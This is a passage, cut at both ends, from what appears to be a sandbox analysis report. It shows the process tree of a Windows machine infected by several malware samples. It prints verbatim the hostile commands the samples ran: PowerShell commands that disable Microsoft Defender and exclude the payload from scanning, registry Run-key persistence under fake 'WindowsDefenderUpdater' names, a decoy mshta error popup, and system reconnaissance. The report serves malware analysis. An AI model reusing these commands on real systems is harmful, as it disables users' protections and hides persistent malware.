        "C:\Program Files (x86)\R-Excel Demo\rexcel.exe"
        5⤵
        
        PID:392
- C:\Users\Admin\AppData\Local\Temp\Files\nircmd.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\nircmd.exe"
  2⤵
  PID:5828
- C:\Users\Admin\AppData\Local\Temp\Files\EFatura.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\EFatura.exe"
  2⤵
  PID:1928
- C:\Users\Admin\AppData\Local\Temp\Files\M64.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\M64.exe"
  2⤵
  PID:4336
- C:\Users\Admin\AppData\Local\Temp\Files\Aquarius.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Aquarius.exe"
  2⤵
  PID:3012
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\A803.tmp\A804.tmp\A805.bat C:\Users\Admin\AppData\Local\Temp\Files\Aquarius.exe"
    3⤵
    PID:2504
  - - C:\Windows\system32\timeout.exe
      timeout 1
      4⤵
      PID:4144
  - - C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
      "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
      4⤵
      PID:2780
  - - C:\Windows\system32\java.exe
      "C:\Windows\system32\java.exe"
      4⤵
      PID:4076
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\AD33.tmp\AD34.tmp\AD35.bat C:\Windows\system32\java.exe"
        5⤵
        
        PID:3880
      - C:\Windows\system32\timeout.exe
        
        timeout 1
        6⤵
        Delays execution with timeout.exe
        
        PID:4144
      - C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        6⤵
        
        PID:700
      - C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        6⤵
        
        PID:4372
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\C407.tmp\C408.tmp\C409.bat C:\Windows\system32\java.exe"
        7⤵
        
        PID:4508
        
        C:\Windows\system32\timeout.exe
        
        timeout 1
        8⤵
        Delays execution with timeout.exe
        
        PID:808
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f
        8⤵
        
        PID:2088
      - C:\Windows\system32\timeout.exe
        
        timeout 5
        6⤵
        Delays execution with timeout.exe
        
        PID:716
  - - C:\Windows\system32\timeout.exe
      timeout 5
      4⤵
      Delays execution with timeout.exe
      PID:612
- C:\Users\Admin\AppData\Local\Temp\Files\pieletJF_vm.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\pieletJF_vm.exe"
  2⤵
  PID:9440
- C:\Users\Admin\AppData\Local\Temp\Files\1.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\1.exe"
  2⤵
  PID:3888
- C:\Users\Admin\AppData\Local\Temp\Files\DocumentoPCPE.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\DocumentoPCPE.exe"
  2⤵
  PID:10736
- - C:\Users\Admin\AppData\Local\Temp\is-XA1AYUFVZ3.tmp\DocumentoPCPE.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-XA1AYUFVZ3.tmp\DocumentoPCPE.tmp" /SL5="$907CA,101600760,887296,C:\Users\Admin\AppData\Local\Temp\Files\DocumentoPCPE.exe"
    3⤵
    PID:4156
  - - C:\Users\Admin\AppData\Local\EasySuiteAutoTool\draw.io.exe
      "C:\Users\Admin\AppData\Local\EasySuiteAutoTool\draw.io.exe"
      4⤵
      PID:11144
- C:\Users\Admin\AppData\Local\Temp\Files\Trojan.Malpack.Themida%20(Anti%20VM).exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Trojan.Malpack.Themida%20(Anti%20VM).exe"
  2⤵
  PID:8800
- - C:\Windows\SysWOW64\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:6256
- C:\Users\Admin\AppData\Local\Temp\Files\v1d.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\v1d.exe"
  2⤵
  PID:6728
- C:\Users\Admin\AppData\Local\Temp\Files\LOIC.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\LOIC.exe"
  2⤵
  PID:6440
- C:\Users\Admin\AppData\Local\Temp\Files\test.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\test.exe"
  2⤵
  PID:1616

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3232

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3496

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5760

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5088

C:\Users\Admin\AppData\Local\Temp\server.exe
"C:\Users\Admin\AppData\Local\Temp\server.exe" ..
1⤵
PID:948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 5268 -ip 5268
1⤵
PID:1588

C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
1⤵
PID:1916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()""
  2⤵
  PID:3396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
  2⤵
  PID:5116
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:3412

C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
1⤵
PID:5772
- C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
  C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
  2⤵
  PID:988

C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
1⤵
PID:3956

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
1⤵
- Enumerates processes with tasklist
PID:1120

C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
1⤵
PID:4396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()""
  2⤵
  PID:2980
- - C:\Windows\system32\mshta.exe
    mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
    3⤵
    PID:5328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
  2⤵
  PID:2372
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:4124

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
1⤵
- Enumerates processes with tasklist
PID:2216

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:4108

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:4104

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\C464.tmp\C465.tmp\C466.bat C:\Windows\system32\java.exe"
1⤵
PID:5200
- C:\Windows\system32\timeout.exe
  timeout 1
  2⤵
  - Delays execution with timeout.exe
  PID:5296
- C:\Windows\system32\timeout.exe
  timeout 5
  2⤵
  - Delays execution with timeout.exe
  PID:5656

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\C8AA.tmp\C8AB.tmp\C8AC.bat C:\Windows\system32\java.exe"
1⤵
PID:3088
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f
  2⤵
  PID:3972
- C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
  "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
  2⤵
  PID:3800
- - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
    "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
    3⤵
    PID:1980
- C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
  "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
  2⤵
  PID:5360
- C:\Windows\system32\java.exe
  "C:\Windows\system32\java.exe"
  2⤵
  PID:4284
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\DF5F.tmp\DF60.tmp\DF61.bat C:\Windows\system32\java.exe"
    3⤵
    PID:4084
  - - C:\Windows\system32\java.exe
      "C:\Windows\system32\java.exe"
      4⤵
      PID:4032
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\E913.tmp\E914.tmp\E915.bat C:\Windows\system32\java.exe"
        5⤵
        
        PID:5196
      - C:\Windows\system32\timeout.exe
        
        timeout 1
        6⤵
        
        PID:6200
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f
        6⤵
        
        PID:6960
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
        6⤵
        
        PID:3496
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        6⤵
        
        PID:4528
      - C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        6⤵
        
        PID:6628
      - C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        6⤵
        
        PID:6672
      - C:\Windows\system32\timeout.exe
        
        timeout 5
        6⤵
        Delays execution with timeout.exe
        
        PID:6652
  - - C:\Windows\system32\timeout.exe
      timeout 5
      4⤵
      PID:3952
- C:\Windows\system32\timeout.exe
  timeout 5
  2⤵
  - Delays execution with timeout.exe
  PID:2088

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\C8D9.tmp\C8DA.tmp\C8DB.bat C:\Windows\system32\java.exe"
1⤵
PID:1176
- C:\Windows\system32\timeout.exe
  timeout 1
  2⤵
  PID:3664
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f
  2⤵
  PID:3464
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
  2⤵
  PID:4848
- C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
  "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
  2⤵
  PID:4248
- - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
    "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
    3⤵
    PID:3320
- C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
  "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
  2⤵
  PID:4816
- C:\Windows\system32\java.exe
  "C:\Windows\system32\java.exe"
  2⤵
  PID:700
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\D9C1.tmp\D9C2.tmp\D9C3.bat C:\Windows\system32\java.exe"
    3⤵
    PID:4052
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
      4⤵
      PID:884
  - - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
      "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
      4⤵
      PID:4368
    - - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
        5⤵
        
        PID:3080
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()""
        6⤵
        
        PID:3988
        
        C:\Windows\system32\mshta.exe
        
        mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
        7⤵
        
        PID:5216
  - - C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
      "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
      4⤵
      PID:4752
  - - C:\Windows\system32\java.exe
      "C:\Windows\system32\java.exe"
      4⤵
      PID:5720
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\E4AE.tmp\E4AF.tmp\E4B0.bat C:\Windows\system32\java.exe"
        5⤵
        
        PID:4568
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f
        6⤵
        
        PID:6376
      - C:\Windows\system32\timeout.exe
        
        timeout 5
        6⤵
        Delays execution with timeout.exe
        
        PID:6480
  - - C:\Windows\system32\timeout.exe
      timeout 5
      4⤵
      Delays execution with timeout.exe
      PID:988
- C:\Windows\system32\timeout.exe
  timeout 5
  2⤵
  - Delays execution with timeout.exe
  PID:736

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
1⤵
PID:1656
- C:\Windows\system32\tasklist.exe
  tasklist /FO LIST
  2⤵
  - Enumerates processes with tasklist
  PID:3344

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
1⤵
PID:5000
- C:\Windows\System32\Wbem\WMIC.exe
  wmic csproduct get uuid
  2⤵
  PID:4284

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:3952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:4072

C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
1⤵
PID:5760

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
1⤵
- Enumerates processes with tasklist
PID:4536

C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
1⤵
PID:5556

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:1208

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:1056

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
1⤵
PID:624

C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
1⤵
PID:6776

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\EFE9.tmp\EFEA.tmp\EFEB.bat C:\Windows\system32\java.exe"
1⤵
PID:6908
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
  2⤵
  PID:5340
- C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
  "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
  2⤵
  PID:7068
- - C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
    "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
    3⤵
    PID:6676
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      PID:4640
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        
        PID:5160
- C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
  "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
  2⤵
  PID:6772
- C:\Windows\system32\java.exe
  "C:\Windows\system32\java.exe"
  2⤵
  PID:6752
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\FE9F.tmp\FEA0.tmp\FEA1.bat C:\Windows\system32\java.exe"
    3⤵
    PID:1248
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
      4⤵
      PID:4360
  - - C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
      "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
      4⤵
      PID:5548
  - - C:\Windows\system32\java.exe
      "C:\Windows\system32\java.exe"
      4⤵
      PID:4072
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\CF6.tmp\CF7.tmp\CF8.bat C:\Windows\system32\java.exe"
        5⤵
        
        PID:4616
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HOME" /d "C:\Windows\system32\javaw.exe" /f
        6⤵
        
        PID:6912
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
        6⤵
        
        PID:5816
      - C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        6⤵
        
        PID:6280
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1AA2.tmp\1AA3.tmp\1AA4.bat C:\Windows\system32\java.exe"
        7⤵
        
        PID:7536
        
        C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
        
        "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
        8⤵
        
        PID:4408
        
        C:\Windows\system32\java.exe
        
        "C:\Windows\system32\java.exe"
        8⤵
        
        PID:7564
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        8⤵
        Delays execution with timeout.exe
        
        PID:7544
      - C:\Windows\system32\timeout.exe
        
        timeout 5
        6⤵
        Delays execution with timeout.exe
        
        PID:4416
  - - C:\Windows\system32\timeout.exe
      timeout 5
      4⤵
      PID:7156
- C:\Windows\system32\timeout.exe
  timeout 5
  2⤵
  PID:6824

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5296

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
1⤵
- Enumerates processes with tasklist
PID:6188

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
1⤵
PID:6212

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:4204

C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
1⤵
PID:2916

C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
1⤵
PID:6704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()""
  2⤵
  PID:7012
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
  2⤵
  PID:2724
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic csproduct get uuid
    3⤵
    PID:880

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:4748

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:4980

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
1⤵
PID:2308

C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
1⤵
PID:2560

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:6200

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f
1⤵
PID:572

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
1⤵
PID:5216

C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
1⤵
PID:5564

C:\Windows\system32\java.exe
"C:\Windows\system32\java.exe"
1⤵
PID:1640

C:\Windows\system32\timeout.exe
timeout 5
1⤵
PID:6572

C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
1⤵
PID:3252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()""
  2⤵
  PID:6244
- - C:\Windows\system32\mshta.exe
    mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()"
    3⤵
    PID:4712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
  2⤵
  PID:6456
- - C:\Windows\system32\tasklist.exe
    tasklist /FO LIST
    3⤵
    - Enumerates processes with tasklist
    PID:6604

C:\Windows\system32\timeout.exe
timeout 1
1⤵
- Delays execution with timeout.exe
PID:2160

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5888

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:5752

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
1⤵
PID:5860

C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
1⤵
PID:6768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Could not open the file', 0, 'Error', 32+16);close()""
  2⤵
  PID:5448
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
  2⤵
  PID:5860

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
1⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
PID:3660

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:1620

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDataUpdater" /d "C:\Windows\system32\WinBioData\WindowsDataUpdater.exe" /f
1⤵
PID:2836

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderUpdater" /d "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe" /f
1⤵
PID:6224

C:\Windows\system32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
1⤵
PID:988

C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
1⤵
PID:5124
- C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe
  "C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe"
  2⤵
  PID:6792

C:\Windows\system32\WinBioData\WindowsDataUpdater.exe
"C:\Windows\system32\WinBioData\WindowsDataUpdater.exe"
1⤵
PID:4748

C:\Windows\system32\java.exe
"C:\Windows\system32\java.exe"
1⤵
PID:5644
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1321.tmp\1331.tmp\1332.bat C:\Windows\system32\java.exe"
  2⤵
  PID:6876
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "javaUp" /d "C:\Windows\system32\java.exe" /f
    3⤵
    PID:7212
- - C:\Windows\system32\java.exe
    "C:\Windows\system32\java.exe"
    3⤵
    PID:7320
- - C:\Windows\system32\timeout.exe
    timeout 5
    3⤵
    PID:7204

C:\Windows\system32\timeout.exe
timeout 5
1⤵
- Delays execution with timeout.exe
PID:5484

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
1⤵
- Enumerates processes with tasklist
PID:3052

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows\system32\WinBioData\WindowsDefenderUpdater.exe'
1⤵
- Command and Scripting Interpreter: PowerShell
PID:5892

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
1⤵
PID:5264

C:\Windows\system32\mshta.exe
